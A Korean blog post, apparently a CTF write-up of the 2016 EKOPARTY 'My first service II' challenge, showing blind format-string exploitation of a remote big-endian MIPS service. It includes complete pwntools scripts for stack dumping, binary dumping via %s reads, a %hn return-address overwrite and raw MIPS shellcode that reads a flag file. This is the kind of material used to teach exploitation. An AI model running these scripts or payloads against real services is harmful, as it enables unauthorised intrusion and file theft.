튜기's blogggg

2016 EKOPARTY My first service II

by St1tch




이 문제는 바이너리가 주어지지 않고 nc 주소와 포트만 제공된다.


fsb가 발생한다는 것은 몇번 간단한 입력만으로도 알 수 있다.


100점짜리 문제처럼 플래그가 박혀있지 않혀있다고 생각하지 않고

쉘을 따거나 파일을 읽어야 겠다고 방향을 정하고 시작을 했다.


우선 구조를 보기위해 스택전체를 덤프를 했다.



from pwn import *
import sys

context.log_level = "warn"

def solver() :
    fd = open(sys.argv[1], 'w')
    p = log.progress('index ')
    idx = 1
    while True :
        try :
            s = remote('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 35000)
            s.recvuntil('secret key:')
            while True :
                p.status(str(idx))
                pay = '%{0}$x'.format(idx)
                s.sendline(pay)
                tmp1 = s.recvuntil('\n\n').strip()
                tmp1 = tmp1.split(' ')[-1]
                fmt =  str(idx) + ' : ' + tmp1
                print fmt
                fd.write(fmt + '\n')
                idx += 1
        except :
            if idx  > 400 :
                break
            s.close()

if __name__ == '__main__' :
    solver()




이렇게 덤프를 하고 정상적인 실행파일과 비교를 해보면 ret 부분을 찾을 수 있다.

83번 오프셋이 ret 부분이다.



이제 ret가 어딘지 알았는데  ret를 overwrite하려면 ret의 주소를 알아야한다.

스택에서 환경변수 앞쪽을 비교하면서 살펴보다 보면 

132번 오프셋의 값이 139번 오프셋의 주소인 것을 찾을 수 있다.

확인을 하려면  %132$s,%139$p

를 해보면 같은 값이 나온다.


83번 오프셋이 ret, 132번 오프셋의 값이 139번 오프셋의 주소니까

ret의 주소는 %132$p - (139-83)*4 이다.

마찬가지로 사용자의 입력을 저장하는 buf의 주소도 같은 방법으로 쉽게 구할 수 있다.


이제 무엇으로 덮을지가 문제인데 파일사이즈가 8350바이트 이라는 힌트가 있었다.

그래서 파일을 덤프를 해야겠거니 생각을 해서 0x400000부터 %s 를 이용해 덤프를 했다.



from pwn import *
import struct

pp32 = lambda x : struct.pack('>I', x)
context.log_level = "warn"
def solver() :
    fd = open('out.bin', 'wb')
    p = log.progress('addr ')
    idx = 1
    start_addr = 0x400000
    end_addr = 0x400000 + 8350
    addr = start_addr
    s = remote('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 35000)
    while True :
        try :
            s.recvuntil('secret key:')
            pay = '#%15$s##'
            pay += pp32(addr)
            s.send(pay)
            tmp = s.recvuntil('\n').strip().split('#')
            data = tmp[1]
            if data == '' :
                fd.write('\x00')
                print (hex(addr) + ' = ' + repr(data))
                addr += 1
                continue
            fd.write(data)
            print (hex(addr) + ' = ' + repr(data))
            addr += len(data)
            if addr > end_addr :
                s.close()
                fd.close()
                break
        except :
            s.close()
            s = remote('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 35000)
            continue

if __name__ == '__main__' :
    solver()


쭉 덤프를 하다보면 반정도 덤프가된다.



생성된 파일을 보면 mips이다.

엔디안 형식은 처음에 주소를 입력할 때 거꾸로 들어가지 않는 것을 보고 빅엔디안인 것을 알 수있다.



checksec로 파일을 보면 대충 이렇다.

중간중간에 깨진게 있을 수 있어서 대략만 보면 될거같다.

일단 NX가 없기 때문에 쉘코드같은걸 버퍼에 올려서 공격을 해야겠다고 생각을 했다.


실행을 하면 총 10번의 입력을 받는데

일단 ret주소를 buf의 시작주소로 overwrite해야 하고

마지막 입력때는 버퍼에 실행시킬 쉘코드를 입력을 한다.


빅엔디안 방식으로 대충 ret부분을 buf의 시작주소로 fsb를 통해 덮어씌운다.


이제 여기부터는 세화가 열심이 mips 쉘코드를 짯다. 역시 갓세화 

/bin/sh쉘코드나 리모트쉘코드는 통하지 않았고 파일을 읽어서 쓰고 출력하는 형태로 flag를 읽었다.



from pwn import *
import struct

s = remote('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 35000)
#context.log_level = 'debug'
pp = lambda x : struct.pack('>I', x)

#sc = '\x3c\x10\x7f\xff\x36\x10\x6b\x0c\x02\x00\x00\x08' #infloop
sc = '\x3c\x0f\x66\x6c\x35\xef\x61\x67\xaf\xaf\xff\xf3\x3c\x0f\x2e\x74\x35\xef\x78\x74\xaf\xaf\xff\xf7\xaf\xa0\xff\xfb\x27\xa4\xff\xf3\x24\x05\x00\x00\x24\x02\x0f\xa5\x01\x01\x01\x0c\x00\x40\xb8\x21\x02\xe0\x20\x21\x27\xa5\xff\x88\x24\x06\x00\x78\x24\x02\x0f\xa3\x01\x01\x01\x0c\x24\x04\x00\x01\x27\xa5\xff\x88\x00\x40\x30\x21\x24\x02\x0f\xa4\x01\x01\x01\x0c'

def solver() :
    idx = 1
    p = log.progress('blind fsb? ')

    #1th stack addr leak
    p.status('leak buf addr.')
    s.recvuntil('secret key')
    s.sendline('%132$p')
    tmp = s.recvline()
    stack_139 = eval(tmp.split('key: ')[1].strip())
    ret = stack_139 - 224
    buf = stack_139 - 504
    log.info('%d buf = %s'%(idx, hex(buf)))
    idx+=1

    #2-8th dummy
    p.status('7 loop...')
    for _ in range(7) :
        s.recvuntil('secret key')
        s.sendline('%83$p')
        tmp = s.recvline().strip().split('key: ')[1]
        log.info('%d ret = %s'%(idx, tmp))
        idx += 1

    #9th overwrite
    p.status('overwrite memory')
    s.recvuntil('secret key')
    pay = '%32754c%20$hn'
    pay += '%60173c%21$hn' + 'aa'
    pay += pp(ret)
    pay += pp(ret+2)
    s.sendline(pay)
    log.info('%d overwrite ret.'%(idx))
    idx += 1

    #10th payload
    check = False
    if check :
        p.status('check')
        s.recvuntil('secret key')
        s.sendline('%83$p')
        tmp = s.recvline().strip().split('key: ')[1]
        log.info('%d ret = %s'%(idx, tmp))
    else : #overwrite
        p.status('shellcode')
        s.recvuntil('secret key')
        pay = sc
        s.sendline(pay)

    #get shell
    p.success('get flag!')
    s.interactive()

if __name__ == '__main__' :
    solver()



ㅇㅅㅇ....



블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기